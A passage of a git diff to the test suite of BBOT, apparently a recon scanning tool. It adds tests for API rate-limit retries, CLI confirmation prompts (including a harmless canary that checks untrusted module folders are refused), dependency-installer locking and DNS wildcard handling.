CORE.logger.log_level = logging.DEBUG @@ -114,12 +153,12 @@ def patched(self, module_name): def stop_server(server): server.stop() while server.is_running(): - time.sleep(0.1) # Wait a bit before checking again + time.sleep(0.005) @pytest.fixture def bbot_httpserver(): - server = HTTPServer(host="127.0.0.1", port=HTTPSERVER_PORT, threaded=True) + server = FastShutdownHTTPServer(host="127.0.0.1", port=HTTPSERVER_PORT, threaded=True) server.start() yield server @@ -138,7 +177,7 @@ def bbot_httpserver_ssl(): keyfile = str(current_dir / "testsslkey.pem") certfile = str(current_dir / "testsslcert.pem") context.load_cert_chain(certfile, keyfile) - server = HTTPServer(host="127.0.0.1", port=HTTPSERVER_SSL_PORT, ssl_context=context, threaded=True) + server = FastShutdownHTTPServer(host="127.0.0.1", port=HTTPSERVER_SSL_PORT, ssl_context=context, threaded=True) server.start() yield server @@ -245,7 +284,7 @@ async def patched_request_batch_stream(self, urls, threads=10, **kwargs): @pytest.fixture def bbot_httpserver_allinterfaces(): - server = HTTPServer(host="0.0.0.0", port=HTTPSERVER_ALLINTERFACES_PORT, threaded=True) + server = FastShutdownHTTPServer(host="0.0.0.0", port=HTTPSERVER_ALLINTERFACES_PORT, threaded=True) server.start() yield server @@ -277,6 +316,10 @@ async def register(self, callback=None): self.poll_task = asyncio.create_task(self.poll_loop(callback)) return "fakedomain.fakeinteractsh.com" + async def settle(self): + # interactions are already queued in-process, so there is no propagation delay to wait out + return + async def deregister(self, callback=None): await asyncio.sleep(1) self.stop = True @@ -501,6 +544,15 @@ def pytest_sessionfinish(session, exitstatus): # worker to finish would otherwise delete the directory out from under # every worker still running. shutil.rmtree(BBOT_TEST_DIR, ignore_errors=True) + # The preload cache is saved into the shared dir at exit, and worker processes can + # exit after the controller below has removed it, so no process may save it. + import atexit + from bbot.core.modules import MODULE_LOADER + + atexit.unregister(MODULE_LOADER.save_preload_cache) + # the xdist controller finishes last, after every worker is done with the shared deps + if not worker_id(): + shutil.rmtree(BBOT_TEST_SHARED_DIR, ignore_errors=True) # Ensure stdout/stderr are blocking before pytest writes summaries try: diff --git a/bbot/test/test_step_1/test_api_request.py b/bbot/test/test_step_1/test_api_request.py new file mode 100644 index 0000000000..f6f0448be3 --- /dev/null +++ b/bbot/test/test_step_1/test_api_request.py @@ -0,0 +1,195 @@ +import time +import asyncio + +from ..bbot_fixtures import * # noqa: F403 + +from bbot import __version__ +from bbot.modules.base import BaseModule +from bbot.test.mock_blasthttp import MockResponse, TimeoutException + + +API_URL = "https://api.evilcorp.com/lookup?key={api_key}" + + +async def _make_module(scan, api_keys=None): + class dummy_api(BaseModule): + _name = "dummy_api" + watched_events = ["DNS_NAME"] + # keep backoff short so tests stay fast + _api_retry_backoff = 0.05 + + module = dummy_api(scan) + if api_keys: + module.api_key = api_keys + return module + + +def _responder(blasthttp_mock, *statuses, headers=None): + """Answer requests with the given statuses in order (the last one repeats), recording each request.""" + requests = [] + + def callback(request): + index = min(len(requests), len(statuses) - 1) + requests.append((time.monotonic(), request)) + status = statuses[index] + if status == "timeout": + raise TimeoutException("timeout") + return MockResponse(status_code=status, headers=headers or {}) + + blasthttp_mock.add_callback(callback) + return requests + + +async def test_api_request_rate_limits_are_not_failures(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + # more rate limits than the failure threshold, but fewer than the rate limit threshold + for _ in range(3): + await module.api_request(API_URL) + assert len(requests) == 9 + assert module._api_request_failures == 0 + assert module._api_rate_limit_count == 9 + assert module.errored is False + + +async def test_api_request_persistent_rate_limit_errors(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + for _ in range(5): + await module.api_request(API_URL) + assert module.api_rate_limit_abort_threshold == 10 + assert len(requests) == 10 + assert module._api_request_failures == 0 + assert module.errored is True + + +async def test_api_request_rate_limit_threshold_scales_with_keys(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan, api_keys=["key1", "key2", "key3"]) + requests = _responder(blasthttp_mock, 429) + for _ in range(20): + await module.api_request(API_URL) + if module.errored: + break + assert module.api_rate_limit_abort_threshold == 30 + assert len(requests) == 30 + assert module.errored is True + + +async def test_api_request_non_429_resets_rate_limit_count(bbot_scanner, blasthttp_mock): + """Any response other than a 429 resets the rate limit count. A real failure counts as a failure.""" + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan) + + _responder(blasthttp_mock, 429, 429, 200, 429, 429, 500) + await module.api_request(API_URL) + assert module._api_rate_limit_count == 0 + assert module._api_request_failures == 0 + + await module.api_request(API_URL) + assert module._api_rate_limit_count == 0 + assert module._api_request_failures == 1 + assert module.errored is False + + +async def test_api_request_cycles_key_on_429(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"429_sleep_interval": 0}}) + module = await _make_module(scan, api_keys=["key1", "key2"]) + requests = _responder(blasthttp_mock, 429, 200) + r = await module.api_request(API_URL) + assert r.status_code == 200 + assert [str(req.url) for _, req in requests] == [ + "https://api.evilcorp.com/lookup?key=key1", + "https://api.evilcorp.com/lookup?key=key2", + ] + assert module._api_rate_limit_count == 0 + + +async def test_api_request_obeys_retry_after_across_handlers(bbot_scanner, blasthttp_mock): + """A Retry-After received by one caller holds back every caller in the module.""" + scan = bbot_scanner() + module = await _make_module(scan) + requests = [] + + def callback(request): + requests.append(time.monotonic()) + if len(requests) == 1: + return MockResponse(status_code=429, headers={"Retry-After": "1"}) + return MockResponse(status_code=200) + + blasthttp_mock.add_callback(callback) + + first = asyncio.create_task(module.api_request(API_URL)) + # let the first caller receive its 429 before the second one starts + while not requests: + await asyncio.sleep(0.01) + await asyncio.sleep(0.05) + second = asyncio.create_task(module.api_request(API_URL)) + await asyncio.gather(first, second) + + assert len(requests) == 3 + # both follow-up requests waited out the Retry-After + assert all(t - requests[0] >= 1 for t in requests[1:]) + + +async def test_api_request_backs_off_between_failures(bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, "timeout") + await module.api_request(API_URL) + times = [t for t, _ in requests] + assert len(times) == 3 + assert times[1] - times[0] >= 0.05 + assert times[2] - times[1] >= 0.1 + assert module._api_request_failures == 3 + + +async def test_api_request_404_is_not_a_failure(bbot_scanner, blasthttp_mock): + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 404) + for _ in range(module.api_failure_abort_threshold + 5): + await module.api_request(API_URL) + assert len(requests) == module.api_failure_abort_threshold + 5 + assert module._api_request_failures == 0 + assert module.errored is False + + +async def test_api_request_ping_does_not_wait_on_429(bbot_scanner, blasthttp_mock): + """With retry_on_http_429=False (setup pings), a 429 returns right away and isn't counted.""" + scan = bbot_scanner() + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 429) + start = time.monotonic() + r = await module.api_request(API_URL, retry_on_http_429=False) + assert time.monotonic() - start < 1 + assert r.status_code == 429 + assert len(requests) == 1 + assert module._api_rate_limit_count == 0 + assert module._api_rate_limited_until == 0 + + +async def test_api_request_user_agent(bbot_scanner, blasthttp_mock): + scan = bbot_scanner(config={"web": {"user_agent_suffix": "engagement-1234"}}) + module = await _make_module(scan) + requests = _responder(blasthttp_mock, 200) + await module.api_request(API_URL) + await module.api_request(API_URL, headers={"User-Agent": "custom"}) + user_agents = [dict(req.headers).get("User-Agent") for _, req in requests] + assert user_agents == [f"BBOT/{__version__}", "custom"] + + +async def test_api_request_retry_after_parsing(bbot_scanner): + scan = bbot_scanner() + module = await _make_module(scan) + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "5"})) == 5 + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "1.5"})) == 1.5 + # a zero or negative Retry-After is raised to one second + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "0"})) == 1 + # an HTTP date in the past is also raised to one second, rather than raising an error + date = "Wed, 21 Oct 2015 07:28:00 GMT" + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": date})) == 1 + assert module._get_retry_after(MockResponse(status_code=429, headers={"Retry-After": "garbage"})) is None + assert module._get_retry_after(MockResponse(status_code=429)) is None diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 2db0037d12..f6af8a96b0 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -1,8 +1,10 @@ import stat +import subprocess import yaml from ..bbot_fixtures import * +import bbot from bbot import cli @@ -134,6 +136,45 @@ async def test_cli_scan(monkeypatch): assert "[INFO]" in open(scan_log).read() +def test_full_version(monkeypatch, tmp_path): + # the real value depends on whether bbot is running from a git checkout + if bbot._commit: + assert bbot.__full_version__ == f"{bbot.__version__} (git:{bbot._commit})" + else: + assert bbot.__full_version__ == bbot.__version__ + + # fake git checkout + (tmp_path / ".git").mkdir() + monkeypatch.setattr(bbot, "__file__", str(tmp_path / "bbot" / "__init__.py")) + + def fake_git(stdout, returncode=0): + def run(*args, **kwargs): + return subprocess.CompletedProcess(args[0], returncode, stdout=stdout, stderr="") + + return run + + monkeypatch.setattr(bbot.subprocess, "run", fake_git("012345678\n")) + assert bbot._git_commit() == "012345678" + monkeypatch.setattr(bbot.subprocess, "run", fake_git("012345678-dirty\n")) + assert bbot._git_commit() == "012345678-dirty" + + # git fails + monkeypatch.setattr(bbot.subprocess, "run", fake_git("", returncode=128)) + assert bbot._git_commit() is None + + # no git binary + def no_git(*args, **kwargs): + raise FileNotFoundError("git") + + monkeypatch.setattr(bbot.subprocess, "run", no_git) + assert bbot._git_commit() is None + + # not a git checkout + (tmp_path / ".git").rmdir() + monkeypatch.setattr(bbot.subprocess, "run", fake_git("012345678\n")) + assert bbot._git_commit() is None + + @pytest.mark.asyncio async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): caplog.set_level(logging.INFO) @@ -148,6 +189,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): assert result is None assert len(out.splitlines()) == 1 assert out.count(".") > 1 + assert out.strip() == bbot.__full_version__ # deps behavior monkeypatch.setattr("sys.argv", ["bbot", "-n", "depstest", "--retry-deps", "--current-preset"]) @@ -828,6 +870,14 @@ def test_cli_presets(monkeypatch, capsys, caplog, clean_default_config): stdout_preset.pop("description") assert stdout_preset == {"config": {"web": {"http_proxy": "http://127.0.0.1:8080"}}} + # --custom-nameservers + monkeypatch.setattr("sys.argv", ["bbot", "--custom-nameservers", "1.1.1.1", "8.8.8.8:53", "--current-preset"]) + cli.main() + captured = capsys.readouterr() + stdout_preset = yaml.safe_load(captured.out) + stdout_preset.pop("description") + assert stdout_preset == {"config": {"dns": {"nameservers": ["1.1.1.1", "8.8.8.8:53"]}}} + # cli config overrides all presets monkeypatch.setattr( "sys.argv", @@ -998,7 +1048,7 @@ async def test_cli_console_control_chars(monkeypatch, capsys): @pytest.mark.asyncio -async def test_cli_reset_config(monkeypatch, caplog, tmp_path): +async def test_cli_reset_config(monkeypatch, caplog, capsys, tmp_path): from bbot.core import CORE monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) @@ -1017,9 +1067,9 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): # without --yes and no TTY, it refuses and changes nothing monkeypatch.setattr("sys.argv", ["bbot", "--reset-config"]) - caplog.clear() + capsys.readouterr() await cli._main() - assert "Refusing to reset config without confirmation" in caplog.text + assert "Refusing to reset config without confirmation" in capsys.readouterr().err assert not (tmp_path / "bbot.yml.bak").exists() assert config_file.read_text() == "scope:\n strict: false\n" @@ -1040,6 +1090,17 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): assert (tmp_path / "secrets.yml.bak").is_file() assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0 + # --silent doesn't confirm it either, even at a terminal, and the error still shows + config_file.write_text("scope:\n strict: false\n") + monkeypatch.setattr(CORE.logger, "log_level", CORE.logger.log_level) # -S silences the shared logger + monkeypatch.setattr(cli, "stdin_is_tty", lambda: True) + monkeypatch.setattr("builtins.input", lambda prompt="": pytest.fail("prompted under --silent")) + monkeypatch.setattr("sys.argv", ["bbot", "--reset-config", "-S"]) + capsys.readouterr() + await cli._main() + assert "Refusing to reset config without confirmation (--silent hides the prompt)" in capsys.readouterr().err + assert config_file.read_text() == "scope:\n strict: false\n" + @pytest.mark.asyncio async def test_cli_reset_config_hint(monkeypatch, caplog, tmp_path): @@ -1091,3 +1152,109 @@ async def test_cli_reset_config_hint_skips_cli_typo(monkeypatch, caplog, tmp_pat # validation still fails, but there's nothing to reset -- so no hint assert "scope.strct" in caplog.text assert "regenerating from current defaults" not in caplog.text + + +@pytest.mark.asyncio +async def test_cli_silent_is_not_yes(monkeypatch, capsys): + from bbot.core import CORE + from bbot.logger import log_to_stderr + + monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) + monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) + monkeypatch.setattr(CORE.logger, "log_level", CORE.logger.log_level) # -S silences the shared logger + + # the "scan ready" pause is skipped under --silent, since it couldn't be seen + # (a real pipe as stdin, since an interactive scan also listens for keyboard input) + stdin_r, stdin_w = os.pipe() + monkeypatch.setattr(sys, "stdin", os.fdopen(stdin_r)) + monkeypatch.setattr(cli, "stdin_is_tty", lambda: True) + monkeypatch.setattr("builtins.input", lambda prompt="": pytest.fail("prompted under --silent")) + monkeypatch.setattr("sys.argv", ["bbot", "-t", "127.0.0.1", "-S"]) + assert await cli._main() is True + os.close(stdin_w) + + # --silent hides direct stderr messages, except errors + capsys.readouterr() + log_to_stderr("just info", level="INFO") + log_to_stderr("an error", level="ERROR") + err = capsys.readouterr().err + assert "just info" not in err and "an error" in err + + # -s is --seeds, not --silent + monkeypatch.setattr("sys.argv", ["bbot", "-s", "127.0.0.1"]) + log_to_stderr("just info", level="INFO") + assert "just info" in capsys.readouterr().err + + +@pytest.mark.asyncio +async def test_cli_custom_module_dir_trust(monkeypatch, capsys, tmp_path): + from bbot.core.modules import MODULE_LOADER + + monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) + monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) + # the CLI installs its trust prompt on the shared module loader + monkeypatch.setattr(MODULE_LOADER, "confirm_module_dir", None) + + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + canary = tmp_path / "canary" + (mod_dir / "clicanary.py").write_text( + "from bbot.modules.base import BaseModule\n" + "from bbot.core.config.models import BaseModuleConfig, Field\n" + "class clicanary(BaseModule):\n" + ' watched_events = ["DNS_NAME"]\n' + ' produced_events = ["DNS_NAME"]\n' + ' flags = ["passive", "safe"]\n' + ' meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n' + " class Config(BaseModuleConfig):\n" + f" _canary = __import__('pathlib').Path({str(canary)!r}).write_text('ran')\n" + ' foo: str = Field("", description="foo")\n' + ) + preset_file = tmp_path / "custom.yml" + preset_file.write_text(f"module_dirs:\n - {mod_dir}\nmodules:\n - clicanary\n") + + # without --yes and no TTY, the folder is refused before anything in it is read + monkeypatch.setattr("sys.argv", ["bbot", "-p", str(preset_file), "--dry-run"]) + await cli._main() + stderr = capsys.readouterr().err + assert f'About to load and validate custom modules from "{mod_dir.resolve()}"' in stderr + assert "Modules in this folder: clicanary" in stderr + assert "Refusing to load custom modules without confirmation" in stderr + assert "clicanary" not in MODULE_LOADER.preloaded() + assert not canary.exists() + + # answering no at the prompt refuses it too; the question goes to stderr, not into stdout + monkeypatch.setattr(cli, "stdin_is_tty", lambda: True) + calls = [] + monkeypatch.setattr("builtins.input", lambda prompt="": calls.append(prompt) or "n") + await cli._main() + out, err = capsys.readouterr() + assert calls == [""] # input() called with no stdout prompt + assert "Do you trust this folder? [y/N]" in err + assert "Do you trust this folder?" not in out + assert "clicanary" not in MODULE_LOADER.preloaded() + assert not canary.exists() + + # --silent doesn't trust it: the prompt can't be shown, so it's refused, with a visible error + monkeypatch.setattr(MODULE_LOADER.core.logger, "log_level", MODULE_LOADER.core.logger.log_level) + calls.clear() + monkeypatch.setattr("sys.argv", ["bbot", "-p", str(preset_file), "--dry-run", "-S"]) + await cli._main() + stderr = capsys.readouterr().err + assert calls == [] + assert "Refusing to load custom modules without confirmation (--silent hides the prompt)" in stderr + assert "About to load and validate custom modules" not in stderr + assert "clicanary" not in MODULE_LOADER.preloaded() + assert not canary.exists() + + # --yes trusts it without asking, but still prints the warning + calls.clear() + monkeypatch.setattr("sys.argv", ["bbot", "-p", str(preset_file), "--dry-run", "-y"]) + await cli._main() + stderr = capsys.readouterr().err + assert calls == [] + assert "Even validating a malicious module can result in code execution" in stderr + assert "clicanary" in MODULE_LOADER.preloaded() + assert canary.read_text() == "ran" + # the prompt doesn't outlive the CLI run + assert MODULE_LOADER.confirm_module_dir is None diff --git a/bbot/test/test_step_1/test_command.py b/bbot/test/test_step_1/test_command.py index f8789f8588..dd9b21f7ec 100644 --- a/bbot/test/test_step_1/test_command.py +++ b/bbot/test/test_step_1/test_command.py @@ -121,30 +121,30 @@ async def test_command(bbot_scanner): # test sudo + existence of environment variables await scan1._prep() path_parts = os.environ.get("PATH", "").split(":") - assert f"{BBOT_TEST_DIR}/tools" in path_parts + assert str(scan1.helpers.tools_dir) in path_parts run_lines = (await scan1.helpers.run(["env"])).stdout.splitlines() assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_lines for line in run_lines: if line.startswith("PATH="): path_parts = line.split("=", 1)[-1].split(":") - assert f"{BBOT_TEST_DIR}/tools" in path_parts + assert str(scan1.helpers.tools_dir) in path_parts run_lines_sudo = (await scan1.helpers.run(["env"], sudo=True)).stdout.splitlines() assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_lines_sudo for line in run_lines_sudo: if line.startswith("PATH="): path_parts = line.split("=", 1)[-1].split(":") - assert f"{BBOT_TEST_DIR}/tools" in path_parts + assert str(scan1.helpers.tools_dir) in path_parts run_live_lines = [l async for l in scan1.helpers.run_live(["env"])] assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_live_lines for line in run_live_lines: if line.startswith("PATH="): path_parts = line.strip().split("=", 1)[-1].split(":") - assert f"{BBOT_TEST_DIR}/tools" in path_parts + assert str(scan1.helpers.tools_dir) in path_parts run_live_lines_sudo = [l async for l in scan1.helpers.run_live(["env"], sudo=True)] assert "BBOT_WEB_USER_AGENT=BBOT Test User-Agent" in run_live_lines_sudo for line in run_live_lines_sudo: if line.startswith("PATH="): path_parts = line.strip().split("=", 1)[-1].split(":") - assert f"{BBOT_TEST_DIR}/tools" in path_parts + assert str(scan1.helpers.tools_dir) in path_parts await scan1._cleanup() diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py index 6d6ab8beee..21113ef9ce 100644 --- a/bbot/test/test_step_1/test_depsinstaller.py +++ b/bbot/test/test_step_1/test_depsinstaller.py @@ -1,3 +1,8 @@ +import time +import threading +import subprocess +from types import SimpleNamespace +from itertools import chain from importlib.metadata import version as installed_version from ..bbot_fixtures import * @@ -139,11 +144,13 @@ async def mock_install_core_deps(): } try: - # first run: nothing is cached yet, so both modules install their deps + # first run: nothing is cached yet, so both modules install their deps. + # the batch pass covers them in one resolver call, so assert on the set of + # specs that reached pip rather than on how many subprocesses carried them succeeded, failed = await installer.install(missing_module, present_module) assert not failed assert succeeded == sorted([missing_module, present_module]) - assert sorted(pip_installs) == [["bbot-nonexistent-package"], ["pydantic"]] + assert sorted(chain(*pip_installs)) == ["bbot-nonexistent-package", "pydantic"] # second run: the cache is warm, but only pydantic is actually installed. # the missing package must be reinstalled instead of silently assumed present @@ -151,8 +158,301 @@ async def mock_install_core_deps(): succeeded, failed = await installer.install(missing_module, present_module) assert not failed assert succeeded == sorted([missing_module, present_module]) - assert pip_installs == [["bbot-nonexistent-package"]] + assert sorted(chain(*pip_installs)) == ["bbot-nonexistent-package"] finally: for module_name in (missing_module, present_module): preloaded.pop(module_name, None) await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_batch_covers_satisfied_deps(monkeypatch, bbot_scanner): + """ + The batch pass must cover every spec it installs, including ones already present in + the environment. Leaving those uncovered made each owning module spawn its own no-op + pip subprocess, which dominated `bbot --install-all-deps`. + """ + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + pip_installs = [] + + async def mock_pip_install(packages, constraints=None): + pip_installs.append(list(packages)) + return True + + async def mock_install_core_deps(): + return + + monkeypatch.setattr(installer, "pip_install", mock_pip_install) + monkeypatch.setattr(installer, "install_core_deps", mock_install_core_deps) + monkeypatch.setattr(installer, "setup_status_cache", scan.helpers.temp_filename()) + monkeypatch.setattr(installer, "setup_status", {}) + + preloaded = scan.preset.module_loader._preloaded + # pydantic is installed in every test environment, so these are the "satisfied" case + # distinct specs so the two modules hash differently; both are already installed, + # which is precisely the case the batch pass used to leave uncovered + shared_modules = ["deps_batch_a", "deps_batch_b"] + shared_specs = {"deps_batch_a": "pydantic", "deps_batch_b": "orjson"} + constrained_module = "deps_batch_constrained" + for module_name in shared_modules: + preloaded[module_name] = { + "sudo": False, + "deps": { + "apt": [], + "shell": [], + "pip": [shared_specs[module_name]], + "pip_constraints": [], + "common": [], + "ansible": [], + }, + } + preloaded[constrained_module] = { + "sudo": False, + "deps": { + "apt": [], + "shell": [], + "pip": ["pydantic"], + "pip_constraints": ["pydantic>=1.0"], + "common": [], + "ansible": [], + }, + } + + try: + succeeded, failed = await installer.install(*shared_modules) + assert not failed + assert succeeded == sorted(shared_modules) + # one resolver pass covers both modules; neither may add a subprocess of its own + assert pip_installs == [["pydantic", "orjson"]] + + # a spec shared with a module carrying custom constraints must still be resolved + # against those constraints, so the batch may not claim it + pip_installs.clear() + # install() re-reads the status cache under the lock, so a fresh file is what + # actually makes this a cold run + monkeypatch.setattr(installer, "setup_status_cache", scan.helpers.temp_filename()) + monkeypatch.setattr(installer, "setup_status", {}) + succeeded, failed = await installer.install(*shared_modules, constrained_module) + assert not failed + assert succeeded == sorted([*shared_modules, constrained_module]) + # pydantic is claimed by the constrained module, so only orjson may be covered + assert installer._batch_installed == {"orjson"} + assert ["pydantic"] in pip_installs + finally: + for module_name in (*shared_modules, constrained_module): + preloaded.pop(module_name, None) + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_ansible_failure_reports_stderr_and_cleans_artifacts(monkeypatch, bbot_scanner): + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + from bbot.core.helpers.depsinstaller import installer as installer_module + + artifact_dirs = [] + + def fake_run(**kwargs): + artifact = Path(kwargs["artifact_dir"]) / kwargs["ident"] + artifact.mkdir(parents=True) + artifact_dirs.append(artifact) + failed = {"event": "runner_on_failed", "event_data": {"res": {"stderr": "unarchive: bad tarball"}}} + return SimpleNamespace(status="failed", rc=2, events=[failed]) + + monkeypatch.setattr(installer_module, "run", fake_run) + try: + success, err = installer.ansible_run(module="command", args={"cmd": "true"}) + assert success is False + assert err == "unarchive: bad tarball" + assert artifact_dirs and not artifact_dirs[0].exists() + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_discards_corrupt_fact_cache_on_each_install(monkeypatch, bbot_scanner, tmp_path): + """A fact cache entry corrupted after the installer was built must still be discarded, under install.lock.""" + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + fact_cache = tmp_path / "fact_cache" + fact_cache.mkdir() + lock_held_during_discard = [] + + async def mock_install_core_deps(): + return + + def lock_is_held(): + with open(tmp_path / "install.lock", "w") as probe: + return not installer._try_lock(probe) + + discard = installer._discard_corrupt_fact_cache + + def tracking_discard(): + lock_held_during_discard.append(lock_is_held()) + discard() + + monkeypatch.setattr(installer, "data_dir", tmp_path) + monkeypatch.setattr(installer, "setup_status_cache", tmp_path / "setup_status.json") + monkeypatch.setattr(installer, "ansible_fact_cache", fact_cache) + monkeypatch.setattr(installer, "_core_deps_cached", lambda: False) + monkeypatch.setattr(installer, "install_core_deps", mock_install_core_deps) + monkeypatch.setattr(installer, "_discard_corrupt_fact_cache", tracking_discard) + try: + for attempt in range(2): + corrupt = fact_cache / "localhost" + corrupt.write_text('{"ansible_facts": ') + valid = fact_cache / "otherhost" + valid.write_text('{"ansible_facts": {}}') + await installer.install("deps_test_no_such_module") + assert not corrupt.exists(), f"corrupt fact cache entry survived install #{attempt + 1}" + assert valid.exists() + assert lock_held_during_discard == [True, True] + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_concurrent_installs_share_one_event_loop(monkeypatch, bbot_scanner, tmp_path): + """ + Two scans in one process each open their own install.lock fd. If the second takes the + flock synchronously while the first is suspended inside it, the loop thread blocks and + the first can never resume to release it. + """ + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + async def mock_install(*modules): + await asyncio.sleep(0.5) + return sorted(modules), [] + + monkeypatch.setattr(installer, "data_dir", tmp_path) + monkeypatch.setattr(installer, "setup_status_cache", tmp_path / "setup_status.json") + monkeypatch.setattr(installer, "_core_deps_cached", lambda: False) + monkeypatch.setattr(installer, "_install", mock_install) + + results = [] + + async def both(): + results.extend(await asyncio.gather(installer.install("a"), installer.install("b"))) + + # own loop on a daemon thread: a deadlocked loop cannot time itself out + worker = threading.Thread(target=asyncio.run, args=(both(),), daemon=True) + try: + worker.start() + worker.join(timeout=10) + assert not worker.is_alive(), "concurrent install() calls deadlocked the event loop on install.lock" + assert results == [(["a"], []), (["b"], [])] + finally: + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_waiter_does_not_block_on_unrelated_installs(monkeypatch, bbot_scanner): + """ + A lock holder installs its whole module list under a single hold. A waiter whose own + deps land partway through that chain must return as soon as they land, rather than + blocking for the remainder of the holder's unrelated work. + """ + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + async def mock_install_core_deps(): + return + + status_cache = Path(scan.helpers.temp_filename()) + monkeypatch.setattr(installer, "install_core_deps", mock_install_core_deps) + monkeypatch.setattr(installer, "setup_status_cache", status_cache) + monkeypatch.setattr(installer, "setup_status", {}) + monkeypatch.setattr(installer, "_setup_status_stamp", None) + monkeypatch.setattr(installer, "_core_deps_cached", lambda: True) + + mine = "deps_test_waiter_mine" + preloaded = scan.preset.module_loader._preloaded + preloaded[mine] = { + "sudo": False, + "deps": { + "apt": [], + "shell": [], + "pip": [], + "pip_constraints": [], + "common": [], + "ansible": [{"name": f"{mine} task"}], + }, + } + mine_hash = installer._module_hash(preloaded[mine]) + + holder_chain_secs = 6 + lock_path = str(installer.data_dir / "install.lock") + # a real second process, because the convoy this guards against is cross-process + holder_src = ( + "import fcntl,json,sys,time\n" + "f=open(sys.argv[1],'w')\n" + "fcntl.flock(f,fcntl.LOCK_EX)\n" + "print('locked',flush=True)\n" + "time.sleep(0.5)\n" + "open(sys.argv[2],'w').write(json.dumps({sys.argv[3]:True}))\n" + f"time.sleep({holder_chain_secs})\n" + ) + holder = subprocess.Popen( + [sys.executable, "-c", holder_src, lock_path, str(status_cache), mine_hash], + stdout=subprocess.PIPE, + text=True, + ) + try: + assert holder.stdout.readline().strip() == "locked" + + start = time.time() + succeeded, failed = await installer.install(mine) + waited = time.time() - start + + assert not failed + assert succeeded == [mine] + assert waited < holder_chain_secs, ( + f"waiter blocked {waited:.2f}s on the holder's unrelated work; " + f"it should have returned once its own dep was published" + ) + finally: + holder.kill() + holder.wait() + preloaded.pop(mine, None) + await scan._cleanup() + + +def test_sql_modules_request_sqlalchemy_asyncio_extra(): + """SQLAlchemy 2.1 moved greenlet out of its default install and into the `asyncio` extra. + + The SQL output modules drive `sqlalchemy.ext.asyncio`, which hard-requires greenlet, so each + one must ask for the extra explicitly. A bare `sqlmodel` resolves without greenlet and the + module then hard-fails setup at scan time. + """ + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + preloaded = MODULE_LOADER.preloaded() + + sqlmodel_modules = sorted( + name + for name, module in preloaded.items() + if any(dep.split("[")[0].split("=")[0].split("~")[0].strip() == "sqlmodel" for dep in module["deps"]["pip"]) + ) + assert sqlmodel_modules, "expected to find modules depending on sqlmodel" + + for module_name in sqlmodel_modules: + deps_pip = preloaded[module_name]["deps"]["pip"] + provides_greenlet = any( + (dep.startswith("sqlmodel[") and "asyncio" in dep.split("]")[0]) + or dep.split("=")[0].split("~")[0].split("<")[0].split(">")[0].strip() == "greenlet" + for dep in deps_pip + ) + assert provides_greenlet, ( + f"{module_name}.deps_pip must pull in greenlet " + f"(via sqlmodel[asyncio] or an explicit greenlet dep), got {deps_pip}" + ) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 55a964e253..069bcc3448 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -825,6 +825,62 @@ async def handle_event(self, event): assert sorted(e.data for e in dns_name_events) == ["_wildcard.evilcorp.com", "evilcorp.com"] +# *.evilcorp.com and *.nested.evilcorp.com are both wildcards, but serve different pools. +# The regexes don't overlap: wildcard probes are 10 random lowercase letters. +NESTED_WILDCARD_DNS = { + "evilcorp.com": {"A": ["127.0.0.1"]}, + r"regex:^[a-z]{10}\.evilcorp\.com$": {"A": ["127.0.0.2"]}, + r"regex:.*\.nested\.evilcorp\.com$": {"A": ["127.0.0.3", "127.0.0.4"]}, + "real.evilcorp.com": {"A": ["127.0.0.5"]}, +} + + +@pytest.mark.asyncio +async def 